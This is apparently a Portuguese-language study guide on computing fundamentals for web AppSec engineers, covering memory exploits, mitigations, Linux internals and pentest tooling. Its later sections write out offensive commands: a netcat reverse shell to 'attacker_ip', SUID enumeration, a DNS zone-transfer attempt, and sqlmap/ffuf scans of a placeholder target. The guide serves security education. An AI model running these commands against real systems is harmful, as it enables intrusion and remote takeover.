🛡 Fundamentos para Web AppSec Engineer

A CPU (Central Processing Unit) é o componente que executa instruções binárias — sequências de 0s e 1s que representam operações matemáticas e lógicas. Ela é composta por: a Unidade de Controle (lê e interpreta instruções), a Unidade Lógica e Aritmética — ALU (realiza cálculos), os registradores (memória ultrarápida dentro da CPU para dados temporários) e o cache (buffer entre a CPU e a RAM).

Para o Web AppSec Engineer, entender a CPU é essencial porque ela é o alvo final de qualquer exploit. Quando um atacante explora um buffer overflow em um servidor web em C, o objetivo é fazer a CPU executar código malicioso redirecionando o ponteiro de instrução (RIP/EIP). Ataques como ROP (Return-Oriented Programming) manipulam diretamente o fluxo de execução da CPU encadeando "gadgets" — pequenos trechos de código legítimo já presentes na memória.

Registradores importantes: RIP (instruction pointer — onde a CPU está executando), RSP (stack pointer — topo da pilha), RBP (base pointer — base do frame atual), RAX/RBX/RCX/RDX (propósito geral). Em um exploit de stack overflow, o objetivo é sobrescrever o RIP salvo na stack para apontar para código do atacante.

A RAM (Random Access Memory) é uma memória de acesso aleatório extremamente rápida onde todo programa em execução reside. Ela é volátil: quando o computador desliga, todo conteúdo é perdido.

Uma RAM DDR5 moderna opera a cerca de 4800 MT/s. Compare isso com o cache L1 da CPU (<1 ns) e com um SSD NVMe (~50 µs). Essa diferença de velocidade é a razão pela qual ataques de cache timing (como Spectre) funcionam: o atacante mede o tempo de acesso à memória para inferir dados secretos.

Por que isso importa para AppSec: vulnerabilidades de use-after-free ocorrem quando um programa acessa RAM já liberada. Memory leaks em aplicações web podem levar a DoS por esgotamento de RAM. A leitura out-of-bounds pode expor dados sigilosos de outros usuários num servidor compartilhado.

Ao contrário da RAM, o armazenamento persistente (HDD ou SSD) mantém dados mesmo sem energia. HDDs usam pratos magnéticos giratórios — latência na faixa de 5–10 ms. SSDs usam chips NAND flash — latência de ~0,05–0,5 ms para NVMe PCIe.

Para o contexto de segurança web, o armazenamento é onde ficam: arquivos de configuração (como .env, config.php com credenciais), bancos de dados SQLite, logs de acesso, chaves privadas TLS. Ataques de Path Traversal (como ../../../../etc/passwd) exploram a falta de validação ao acessar o sistema de arquivos. Local File Inclusion (LFI) permite ler arquivos arbitrários do disco via aplicação vulnerável.

Ponto crítico: backups mal configurados (arquivos .sql, .tar.gz) em diretórios públicos são uma das formas mais comuns de exposição de dados sensíveis — descobertos trivialmente com dirbuster ou gobuster.

O barramento (bus) é o conjunto de trilhas condutoras que conectam CPU, RAM, placa de rede, GPU e periféricos. Existem três tipos: barramento de dados, barramento de endereço e barramento de controle.

A interface PCIe é o barramento moderno de alta velocidade. Uma placa de rede 10GbE conectada via PCIe pode transferir dados direto para a RAM sem passar pela CPU — técnica chamada DMA — Direct Memory Access.

Relevância para AppSec: ataques de DMA attack exploram dispositivos externos com acesso direto à memória para ler credenciais ou chaves criptográficas. Em ambientes de nuvem, o isolamento de DMA entre VMs é crítico para evitar que um tenant leia a memória de outro.

Todo programa executa o mesmo ciclo fundamental repetidamente na CPU:

• 1. Fetch (Busca): a CPU lê a instrução no endereço apontado pelo registrador RIP e incrementa RIP.
• 2. Decode (Decodificação): a unidade de controle interpreta os bytes da instrução (opcode + operandos).
• 3. Execute (Execução): a ALU realiza a operação, ou a CPU acessa memória, ou modifica registradores.
• 4. Write-back: o resultado é escrito de volta em um registrador ou na memória.

Por que isso é fundamental para segurança: toda vulnerabilidade de execução de código (RCE) busca inserir bytes maliciosos na memória e redirecionar o RIP para eles. Proteções como DEP/NX marcam regiões de memória como não-executáveis. ASLR aleatoriza os endereços de memória para dificultar que o atacante saiba para onde redirecionar o RIP.

Quando você liga um servidor, o processo de boot define quem controla a máquina. A sequência é: UEFI/BIOS → Bootloader (GRUB) → Kernel → Init (systemd) → serviços e aplicações.

O Secure Boot (UEFI) verifica assinaturas criptográficas de cada componente antes de carregá-lo, criando uma cadeia de confiança. Se um atacante compromete o bootloader (bootkits), ele obtém persistência profundíssima — o malware roda antes do próprio SO.

Para Web AppSec: em ambientes de nuvem e containers, o boot é abstraído. Mas conhecer a cadeia de confiança é essencial para entender supply chain attacks, que comprometem componentes cedo no pipeline de build/deploy.

Todo processo Linux tem um espaço de endereçamento virtual dividido em regiões distintas (visível com cat /proc/PID/maps):

• .text (código): instruções compiladas do programa. Normalmente somente-leitura e executável (NX bit).
• .data / .bss: variáveis globais e estáticas inicializadas e não-inicializadas.
• Heap: cresce "para cima". Gerenciado pelo alocador (malloc/free). Fonte de vulnerabilidades de heap.
• Memory-mapped files: bibliotecas compartilhadas (.so/.dll) mapeadas aqui — inclui libc, OpenSSL, etc.
• Stack: cresce "para baixo" desde o topo do espaço de endereços. Gerencia chamadas de funções.

Para AppSec: o comando cat /proc/PID/maps num servidor comprometido revela toda a estrutura de memória de um processo — exatamente o que um atacante usa para calcular endereços em exploits que contornam ASLR via info leak.

A stack é uma estrutura LIFO usada para gerenciar o fluxo de execução de funções. Cada vez que uma função é chamada, um stack frame é criado contendo:

• Os argumentos passados para a função
• O endereço de retorno (para onde a CPU vai voltar depois que a função terminar)
• O saved RBP (ponteiro de base do frame anterior)
• As variáveis locais da função

O Stack Buffer Overflow é o exploit clássico: se uma função copia dados para um buffer local sem verificar o tamanho, um atacante pode enviar dados além do limite, sobrescrevendo o endereço de retorno. Quando a função termina, a CPU pula para o endereço do atacante.

Proteções modernas: Stack Canaries colocam um valor aleatório entre as variáveis locais e o endereço de retorno. ASLR randomiza o endereço base da stack. SafeStack (Clang/LLVM) separa stacks seguras de inseguras.

O heap é a região de memória para alocação dinâmica. Em C, malloc(size) pede ao sistema size bytes no heap; free(ptr) devolve. O gerenciador de heap (como ptmalloc no glibc) mantém listas de blocos livres e ocupados com metadados nos próprios headers.

Vulnerabilidades de heap são algumas das mais exploradas no mundo real:

• Use-After-Free (UAF): usar um ponteiro após liberar a memória. A memória pode ter sido realocada para outro objeto.
• Heap Buffer Overflow: escrever além dos limites de um bloco, corrompendo os metadados do bloco adjacente.
• Double-Free: liberar o mesmo ponteiro duas vezes, corrompendo as estruturas internas do heap.
• Heap Spray: inundar o heap com shellcode para aumentar a probabilidade de um ponteiro apontar para código do atacante.

Em aplicações web modernas (JavaScript/Node.js, PHP, Java), o garbage collector elimina UAF e double-free — mas introduz prototype pollution e deserialization attacks.

Cada processo acredita que tem acesso exclusivo a um espaço de endereçamento enorme (2⁶⁴ bytes no x86-64). A MMU (Memory Management Unit) traduz endereços virtuais para endereços físicos usando Page Tables.

A memória é dividida em páginas (normalmente 4 KB). Cada página tem atributos: leitura, escrita, execução (o NX bit). Se um processo tenta executar código numa página não-executável, a CPU lança uma exceção — impedindo shellcode injetado direto na memória.

Meltdown e Spectre (2018) quebraram o isolamento entre processos e entre espaço de usuário/kernel explorando execução especulativa da CPU — permitindo leitura de memória fora dos limites através de um canal lateral de timing do cache.

Décadas de exploits de memória levaram ao desenvolvimento de mitigações em camadas:

• DEP/NX (Data Execution Prevention): marca heap e stack como não-executáveis. Bypass: ROP chains executam código legítimo já existente.
• ASLR (Address Space Layout Randomization): randomiza endereços de base. Bypass: info leaks revelam endereços reais.
• PIE (Position Independent Executable): o próprio binário é carregado em endereço aleatório (requer ASLR + PIE juntos para máxima eficácia).
• Stack Canary: valor aleatório verificado antes de cada retorno de função. Bypass: info leak do canary.
• RELRO (Relocation Read-Only): torna a GOT somente-leitura após o link, impedindo overwrites de ponteiros de funções.
• SafeStack / Shadow Stack (CET): mantém uma cópia protegida dos endereços de retorno em hardware.

Linguagens com garbage collector (Java, Python, Go, JavaScript, C#) eliminam automaticamente UAF e double-free porque o GC decide quando liberar objetos.

Rust vai além: sem GC, usa um sistema de ownership e borrow checker que garante memory safety em compile-time. Sem overhead de runtime. Usado em Firefox, Linux kernel (desde 6.1), Cloudflare e AWS.

Mas atenção: GC não elimina todas as vulnerabilidades. Em Python/PHP/Java ainda existe: SQL Injection, deserialization, prototype pollution (JavaScript), e memory leaks por referências esquecidas que enganam o GC. A classe de vulnerabilidade muda — não desaparece.

A ISA (Instruction Set Architecture) é o contrato entre software e hardware: define o conjunto de instruções que a CPU entende, os registradores disponíveis, os modos de endereçamento e o comportamento de cada instrução.

• x86-64 (AMD64): CISC. Instruções de tamanho variável, altamente complexa. Domina servidores (Intel Xeon, AMD EPYC) e desktops. A maioria dos exploits de aplicações web em produção roda em x86-64.
• ARM64 (AArch64): RISC. Instruções de tamanho fixo, mais simples. Domina mobile e ganha tração em servidores (AWS Graviton, Apple Silicon).

Para AppSec: shellcode e exploits são específicos de arquitetura. Um exploit x86-64 não roda em ARM. Entender a ISA é necessário para ler disassembly de binários suspeitos, analisar malware e desenvolver exploits em CTFs de binary exploitation.

O pipeline divide a execução de uma instrução em múltiplos estágios que operam em paralelo — como uma linha de montagem. Um pipeline de 5 estágios clássico: Fetch → Decode → Execute → Memory → Write-back.

Execução fora de ordem (Out-of-Order Execution / OoOE): CPUs modernas analisam uma "janela" de instruções à frente e reordenam sua execução para maximizar uso das unidades funcionais, respeitando as dependências de dados.

Branch Prediction: a CPU tenta adivinhar o resultado de desvios condicionais (if) e executa o caminho mais provável especulativamente. Isso é a base do Spectre Variant 1: um atacante pode fazer a CPU executar código especulativamente que acessa memória proibida, e inferir o resultado pelo timing do cache.

A hierarquia de cache existe para compensar a enorme diferença de velocidade entre CPU e RAM:

• L1 (por core): ~32-64 KB, latência ~1-4 ciclos (<1 ns). Dados e instruções.
• L2 (por core): ~256 KB–1 MB, latência ~10-20 ciclos (~5 ns).
• L3 (compartilhado): ~4–64 MB, latência ~40-80 ciclos (~20-40 ns).
• RAM: latência ~100-200 ciclos (~50-100 ns).

Flush+Reload, Prime+Probe, Evict+Time são técnicas de side-channel baseadas em cache usadas para extrair chaves AES, RSA e outros segredos criptográficos. Para implementações seguras de criptografia, o tempo de execução não deve depender dos dados secretos — isso é chamado de constant-time programming.

Reveladas em janeiro de 2018 por pesquisadores do Google Project Zero, Spectre e Meltdown são vulnerabilidades fundamentais no design de CPUs modernas — afetando praticamente toda CPU fabricada desde 1995.

Meltdown (CVE-2017-5754): explorava a execução fora de ordem para ler memória do kernel a partir do espaço de usuário. Correção: KPTI (Kernel Page-Table Isolation) — separa completamente as page tables de kernel e usuário, com custo de performance de até 30%.

Spectre (CVE-2017-5753/5715): mais difícil de corrigir. Explora branch prediction para vazar informações entre processos. Afeta Chrome (via JavaScript), VMs em nuvem e praticamente qualquer sistema.

Impacto para Web AppSec: um script JavaScript malicioso numa página web pode explorar Spectre para ler memória do navegador — incluindo cookies, tokens de autenticação e senhas. Isso levou à redução da resolução de performance.now() e desativação de SharedArrayBuffer em navegadores.

CPUs modernas têm múltiplos núcleos físicos, cada um capaz de executar threads independentemente. Hyper-Threading (Intel) / SMT (AMD) duplica núcleos lógicos por core físico, compartilhando recursos de execução.

Race Condition (Condição de Corrida) é uma vulnerabilidade que ocorre quando dois ou mais threads acessam recursos compartilhados sem sincronização adequada. Em aplicações web: uma race condition no processo de pagamento pode permitir que um usuário compre um item pagando apenas uma vez enquanto o servidor credita múltiplas vezes.

TOCTOU (Time-of-Check Time-of-Use): uma classe específica de race condition onde um recurso é verificado numa condição e usado em outra. Exemplo: checar se um arquivo existe antes de abrir — entre o check e o open, o atacante substitui o arquivo por um symlink para /etc/passwd.

O kernel Linux opera em dois níveis de privilégio distintos definidos pelo hardware (rings do x86):

• Ring 0 — Kernel Space: código com acesso irrestrito ao hardware. O kernel, drivers e módulos rodam aqui. Um bug aqui compromete todo o sistema.
• Ring 3 — User Space: onde suas aplicações rodam. Acesso ao hardware é mediado pelo kernel via system calls. Um crash aqui afeta apenas aquele processo.

Vulnerabilidades de kernel (privilege escalation): Dirty COW (CVE-2016-5195) — race condition no kernel Linux que permitia escrita em arquivos somente-leitura; DirtyPipe (CVE-2022-0847) — explorava pipes do Linux para sobrescrever arquivos arbitrários, incluindo binários SUID como /usr/bin/passwd.

Toda vez que uma aplicação precisa fazer algo que envolve o hardware ou recursos compartilhados, ela faz uma system call. No Linux, existem ~400 syscalls. As mais relevantes para segurança:

• open() / read() / write(): operações de arquivo — alvos de path traversal e LFI.
• execve(): executa um novo programa — o objetivo de qualquer RCE é chegar aqui.
• socket() / connect() / bind(): rede — um webshell usa isso para criar conexões reversas.
• mmap() / mprotect(): manipulação de memória — usados em exploits para marcar regiões como executáveis.
• fork() / clone(): criação de processos — base de command injection.
• ptrace(): anexar a outro processo — usado em depuradores, também por rootkits.

Seccomp (Secure Computing Mode) limita quais syscalls um processo pode fazer. Containers Docker e sandboxes de navegadores usam seccomp para reduzir a superfície de ataque.

O modelo de permissões Unix clássico é DAC (Discretionary Access Control): cada arquivo tem um dono (user), um grupo, e permissões para três classes: dono (u), grupo (g), outros (o) — com bits de leitura (r), escrita (w) e execução (x).

SUID (Set User ID): quando ativo num executável, o programa roda com as permissões do dono do arquivo, não do usuário que executou. /usr/bin/passwd tem SUID de root para poder modificar /etc/shadow. Um binário SUID mal implementado é um vetor clássico de privilege escalation.

Linux Capabilities: subdividem os privilégios de root em ~40 capacidades granulares. Em containers: CAP_SYS_ADMIN é equivalente a root e permite fuga do container. sudo e /etc/sudoers: sudo -l é um dos primeiros comandos em escalada de privilégios pós-exploração.

O SO isola processos uns dos outros usando espaços de endereçamento virtual separados. Containers (Docker, Podman) não são VMs — eles compartilham o mesmo kernel do host. O isolamento é feito por features do kernel Linux:

• Namespaces: isolam visibilidade de PID, rede, sistema de arquivos, usuários, etc.
• cgroups: limitam recursos (CPU, memória, I/O) por grupo de processos.
• seccomp: filtro de syscalls.
• AppArmor/SELinux: políticas de acesso mandatório (MAC).

Container escape: vetores comuns incluem montagem do socket Docker (/var/run/docker.sock), capabilities excessivas (--privileged), montagem do sistema de arquivos do host.

Aspectos críticos do sistema de arquivos para segurança:

• Symlinks (links simbólicos): explorados em ataques TOCTOU e path traversal.
• /proc (procfs): /proc/self/environ pode vazar variáveis de ambiente (com credenciais). /proc/self/fd/ — file descriptors abertos. Explorado via LFI para ler arquivos de qualquer processo.
• Sticky bit em diretórios (como /tmp): apenas o dono pode deletar seus próprios arquivos, mesmo que o diretório seja world-writable.
• Extended attributes e ACLs: controle de acesso mais granular que o modelo Unix clássico.

Auditoria: inotifywait e auditctl permitem monitorar acessos a arquivos sensíveis em tempo real — fundamentais para detecção de intrusão.

O kernel Linux implementa a pilha TCP/IP completa, desde o driver de NIC até o socket da aplicação.

Sockets e portas: portas <1024 requerem root ou CAP_NET_BIND_SERVICE. ss -tulpn lista todos os sockets abertos — primeiro passo numa auditoria de servidor.

Firewall (iptables/nftables): iptables -L -n -v lista as regras ativas. Um servidor web mal configurado pode ter portas internas (banco de dados, Redis, Memcached) expostas sem firewall.

TIME_WAIT e SYN flood: ataques DoS exploram o estado de conexão TCP. Rate limiting precisa ser implementado em múltiplas camadas — não só na aplicação, mas também no kernel e no loadbalancer.

O processo de compilação transforma código-fonte em código de máquina nativo através de várias fases:

• Preprocessamento: expande macros e includes (#include, #define).
• Análise léxica e sintática: transforma texto em AST (Abstract Syntax Tree).
• Análise semântica: verifica tipos, escopos, declarações.
• Geração de código intermediário: LLVM IR, GCC GIMPLE.
• Otimização: inline de funções, eliminação de dead code, etc.
• Geração de código de máquina: assembly específico da arquitetura.
• Linking: resolve referências externas, une object files em executável.

Para AppSec: binários compilados podem ser analisados com Ghidra (NSA, open-source) e IDA Pro. Ferramentas como checksec verificam quais proteções (ASLR, PIE, NX, Canary, RELRO) estão habilitadas num binário.

Em linguagens interpretadas, um programa chamado interpretador lê o código-fonte (ou bytecode) e o executa diretamente, instrução a instrução.

PHP: ainda domina mais de 75% dos servidores web. Vulnerabilidades clássicas: SQL Injection, RFI/LFI, command injection via exec()/system(), deserialização insegura com unserialize(), type juggling (PHP compara "0e123" == "0e456" como iguais por conversão automática de tipo para float).

Python: vulnerabilidades: eval() e exec() com input de usuário, Server-Side Template Injection (SSTI) em Jinja2, pickle deserialization, command injection via os.system() sem sanitização.

Bash: Shellshock (CVE-2014-6271) explorava como o bash processava variáveis de ambiente para executar código arbitrário — afetando CGI scripts em servidores Apache em todo o mundo.

O JIT (Just-In-Time) compiler monitora quais partes do código são executadas frequentemente ("hot paths") e as compila para código de máquina nativo em tempo real.

V8 (Chrome/Node.js) e SpiderMonkey (Firefox) implementam JIT para JavaScript. Pipeline típico: código JS → bytecode Ignition → código JIT Turbofan → código de máquina nativo.

JIT Spraying: técnica de exploit que força o JIT compiler a emitir shellcode como parte de constantes numéricas em expressões, contornando DEP/NX.

Para Web AppSec: JavaScript rodando no cliente é o vetor de XSS. No servidor, Node.js tem: prototype pollution, injeção em template engines (Pug, Handlebars), ReDoS (Regular Expression Denial of Service).

Java compila para bytecode (.class files) que roda na JVM (Java Virtual Machine). Isso dá portabilidade mas adiciona uma camada de complexidade.

Deserialização insegura (OWASP Top 10 A08) ocorre quando dados serializados de fontes não-confiáveis são desserializados — o que pode acionar código arbitrário via "gadget chains": sequências de métodos legítimos que, encadeados durante a desserialização, executam Runtime.exec().

Apache Commons Collections RCE (2015, CVE-2015-4852) afetou WebLogic, JBoss, Jenkins e dezenas de outros sistemas Java. A ferramenta ysoserial gera payloads de desserialização Java para pentests. Python pickle e PHP unserialize(): idem, com suas próprias gadget chains.

A NSA, CISA, Microsoft e Google publicaram relatórios recomendando a transição para linguagens memory-safe. Estima-se que ~70% das vulnerabilidades críticas no Chrome e no Windows kernel sejam bugs de memória em C/C++.

Rust elimina em compile-time: buffer overflows, use-after-free, null pointer dereferences, data races — sem garbage collector. Go tem GC, não é memory-safe no nível de Rust, mas elimina as classes mais perigosas. Muito usado em ferramentas de segurança (Nuclei, subfinder, httpx, gobuster).

Linux é apenas o kernel. O que chamamos de "Linux" no dia a dia é GNU/Linux: o kernel Linux + ferramentas do projeto GNU + gerenciador de pacotes. As mais relevantes para Web AppSec:

• Ubuntu LTS: base estável, suporte 5 anos. O que a maioria dos servidores web roda. Excelente para aprender.
• Kali Linux: baseado em Debian. Vem com centenas de ferramentas de pentest pré-instaladas. Padrão da indústria para testes de penetração.
• Debian: a "mãe" de Ubuntu. Ultra-estável, mais comum em servidores antigos.
• CentOS/RHEL/Rocky/AlmaLinux: padrão corporativo. SELinux ativo por default.
• Alpine Linux: minimalista (~5 MB). Base de containers Docker — menos pacotes = menor superfície de ataque.

O terminal é a principal interface de trabalho de um Web AppSec Engineer. Dominar o shell não é opcional — é pré-requisito. O Bash (Bourne Again Shell) é o shell padrão no Ubuntu.

Comandos essenciais por categoria:

• Navegação: ls -la, cd, pwd, find / -name "*.conf", locate
• Texto/busca: grep -r "password" /etc/, awk, sed, cut, sort, uniq, wc
• Rede: curl, wget, nc (netcat), nmap, ss -tulpn, tcpdump, ping, dig, whois
• Processos: ps aux, htop, kill, lsof -i :80, strace, ltrace
• Permissões: chmod, chown, sudo, su, id, whoami
• Arquivos: cat, less, head/tail, tar, zip, base64, xxd, strings
• Redirecionamento: | (pipe), >, >>, 2>&1, &&, ||

O FHS (Filesystem Hierarchy Standard) define onde cada tipo de arquivo deve residir. Para o Web AppSec Engineer, saber onde olhar é metade do trabalho de uma investigação:

• /etc/ — Configurações: /etc/passwd, /etc/shadow (hashes de senha), /etc/nginx/, /etc/ssh/sshd_config, /etc/crontab.
• /var/log/ — Logs: auth.log (tentativas de login), nginx/access.log, apache2/error.log.
• /var/www/ — Root padrão de aplicações web.
• /tmp/ e /var/tmp/ — Temporários. World-writable — alvos frequentes de escalada via race conditions.
• /proc/ — /proc/PID/environ (variáveis de ambiente — pode ter senhas!), /proc/net/tcp (conexões TCP).
• /home/ — ~/.ssh/ (chaves SSH), ~/.bash_history (histórico de comandos — frequentemente com credenciais).
• /bin/, /usr/bin/ — Binários. Binários SUID aqui são alvos de privilege escalation.

O modelo de permissões Unix parece simples mas tem nuances críticas:

• Leitura (r=4): ler conteúdo do arquivo / listar diretório.
• Escrita (w=2): modificar arquivo / criar/deletar dentro do diretório.
• Execução (x=1): executar arquivo / entrar no diretório (cd).
• SUID (s): executa com UID do dono. Binário SUID root = potencial escalada.
• SGID (s no grupo): executa com GID do grupo.
• Sticky bit (t): em diretórios: só o dono pode deletar seus arquivos (/tmp).

Encontrar vetores de escalada de privilégios:

• find / -perm -4000 2>/dev/null — lista todos os binários SUID.
• find / -writable -type f 2>/dev/null — arquivos graváveis por você.
• crontab -l && cat /etc/crontab — tarefas agendadas mal configuradas.
• LinPEAS / LinEnum: scripts automatizados de enumeração de escalada de privilégios Linux.

O Web AppSec Engineer precisa dominar as ferramentas de rede do Linux — tanto para reconhecimento ativo quanto para análise de tráfego:

• nmap: nmap -sV -sC -p- target.com descobre todos os serviços com versões e scripts NSE.
• curl: curl -v -X POST -d 'user=admin' https://target.com/login. Essencial para testar endpoints manualmente.
• netcat (nc): shell reversa: nc -e /bin/bash attacker_ip 4444. Escuta: nc -lvnp 4444.
• tcpdump: tcpdump -i eth0 -w capture.pcap host target.com.
• dig / nslookup: dig axfr @ns1.target.com target.com — transferência de zona DNS (se permitida, revela todos os subdomínios).
• ssh: ssh -L 8080:localhost:3306 user@server — tunelamento local. Fundamental para pivoting em ambientes comprometidos.

Com Ubuntu como base, você tem acesso a todo o ecossistema de ferramentas de Web AppSec:

• Burp Suite Community/Pro: proxy interceptador HTTP. A ferramenta mais importante para pentest web.
• sqlmap: sqlmap -u "https://target.com/item?id=1" --dbs
• ffuf / gobuster: ffuf -w wordlist.txt -u https://target.com/FUZZ
• nuclei: scanner de vulnerabilidades baseado em templates YAML. Cobertura enorme de CVEs e misconfigs.
• nikto: scanner de vulnerabilidades de servidores web (headers, misconfigs, arquivos expostos).
• subfinder / amass: enumeração de subdomínios — fase de reconhecimento passivo/ativo.
• john / hashcat: cracking de hashes de senhas.
• Metasploit: framework de exploração. Base de dados de exploits públicos, payloads, listeners.
• Python3 + requests + beautifulsoup: para escrever seus próprios scripts de automação de testes.

Próximo passo: com esses fundamentos dominados, o caminho natural é: HTTP/HTTPS em profundidade → OWASP Top 10 → Burp Suite → Web AppSec na prática.